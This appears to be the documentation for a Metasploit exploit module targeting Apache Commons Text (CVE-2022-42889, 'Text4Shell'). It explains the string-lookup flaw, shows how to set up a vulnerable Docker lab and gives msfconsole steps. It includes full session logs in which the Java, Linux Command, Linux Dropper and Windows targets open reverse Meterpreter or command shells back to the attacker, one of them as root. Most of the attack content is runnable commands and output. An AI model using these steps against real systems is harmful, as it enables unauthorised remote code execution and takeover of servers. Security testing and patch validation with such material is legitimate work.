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Vulnerable Application

This exploit takes advantage of the StringSubstitutor interpolator class, which is included in the Commons Text library. A default interpolator allows for string lookups that can lead to Remote Code Execution. This is due to a logic flaw that makes the “script”, “dns” and “url” lookup keys interpolated by default, as opposed to what it should be, according to the documentation of the StringLookupFactory class. Those keys allow an attacker to execute arbitrary code via lookups primarily using the "script" key.

In order to exploit the vulnerabilities, the following requirements must be met:

Run a version of Apache Commons Text from version 1.5 to 1.9
Use the StringSubstitutor interpolator
Target should run JDK < 15

Setup

  1. git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  2. cd cve-2022-42889-text4shell-docker
  3. mvn clean install
  4. docker build --tag=text4shell .
  5. docker run -p 80:8080 text4shell
  6. Vulnerable application now running at port 8080 on docker image's ip address

Verification Steps

  1. Setup the application
  2. Start msfconsole
  3. Do: use apache_commons_text4shell
  4. Do: set RHOST <docker ip>
  5. Do: set RPORT 8080
  6. Do: set TARGETURI /text4shell/attack
  7. Do: set PARAM search
  8. Do: set LHOST docker0
  9. Do: run

Options

PARAM

The parameter vulnerable to the exploit.

METHOD

The HTTP method to use. Default: GET

TARGETURI

The URI to target. Default: /

Scenarios

Apache Commons Text 1.8 on Alpine Linux v3.9 JDK 8

Check:

msf6 > use exploit/multi/http/apache_commons_text4shell
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0
lhost => 172.17.0.1
msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2
rhost => 172.17.0.2
msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080
rport => 8080
msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack
targeturi => /text4shell/attack
msf6 exploit(multi/http/apache_commons_text4shell) > set param search
param => search
msf6 exploit(multi/http/apache_commons_text4shell) > check

[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection.

Target: java

msf6 exploit(multi/http/apache_commons_text4shell) > set target 0
target => 0
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/cuGgfHN/
[*] Sending stage (57692 bytes) to 172.17.0.2
[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530
[*] Server stopped.

meterpreter >

Target: Linux Command

msf6 exploit(multi/http/apache_commons_text4shell) > set target 3
target => 3
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Target: Linux Dropper

msf6 exploit(multi/http/apache_commons_text4shell) > set target 4
target => 4
msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/
[*] Client 172.17.0.2 requested /L8kRU1E8O/
[*] Sending payload to 172.17.0.2
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Command Stager progress - 100.00% done (113/113 bytes)
[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530
[*] Server stopped.

meterpreter >

Apache Commons Text 1.8 on Windows 11 home JDK 14.0.2

Target: Windows EXE Dropper

msf6 exploit(multi/http/apache_commons_text4shell) > options

Module options (exploit/multi/http/apache_commons_text4shell):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   METHOD     GET                yes       The HTTP method to use (Accepted: GET, POST)
   PARAM      search             yes       The vulnerable parameter
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.18.160.1       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8080               yes       The target port (TCP)
   SSL        false              no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  text4shell/attack  yes       The target URI
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                        on all addresses.
   SRVPORT  5000             yes       The local port to listen on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.18.168.145   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Windows EXE Dropper



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.18.168.145:4444
[*] Command Stager progress -  17.01% done (2046/12025 bytes)
[*] Command Stager progress -  34.03% done (4092/12025 bytes)
[*] Command Stager progress -  51.04% done (6138/12025 bytes)
[*] Command Stager progress -  68.06% done (8184/12025 bytes)
[*] Command Stager progress -  84.24% done (10130/12025 bytes)
[*] Sending stage (200774 bytes) to 172.18.160.1
[*] Command Stager progress - 100.00% done (12025/12025 bytes)
[*] Meterpreter session 5 opened (172.18.168.145:4444 -> 172.18.160.1:53165) at 2024-01-15 00:14:33 +0530

meterpreter > sysinfo
Computer        : HOME
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Target: Windows Command

msf6 exploit(multi/http/apache_commons_text4shell) > options

Module options (exploit/multi/http/apache_commons_text4shell):

   Name       Current Setting    Required  Description
   ----       ---------------    --------  -----------
   METHOD     GET                yes       The HTTP method to use (Accepted: GET, POST)
   PARAM      search             yes       The vulnerable parameter
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     172.18.160.1       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8080               yes       The target port (TCP)
   SSL        false              no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  text4shell/attack  yes       The target URI
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen
                                        on all addresses.
   SRVPORT  5000             yes       The local port to listen on.


Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.18.168.145   yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   Windows Command



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/apache_commons_text4shell) > run

[*] Started reverse TCP handler on 172.18.168.145:4444
[*] Sending stage (175686 bytes) to 172.18.160.1
[*] Meterpreter session 6 opened (172.18.168.145:4444 -> 172.18.160.1:53170) at 2024-01-15 00:15:18 +0530

meterpreter > sysinfo
Computer        : HOME
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >```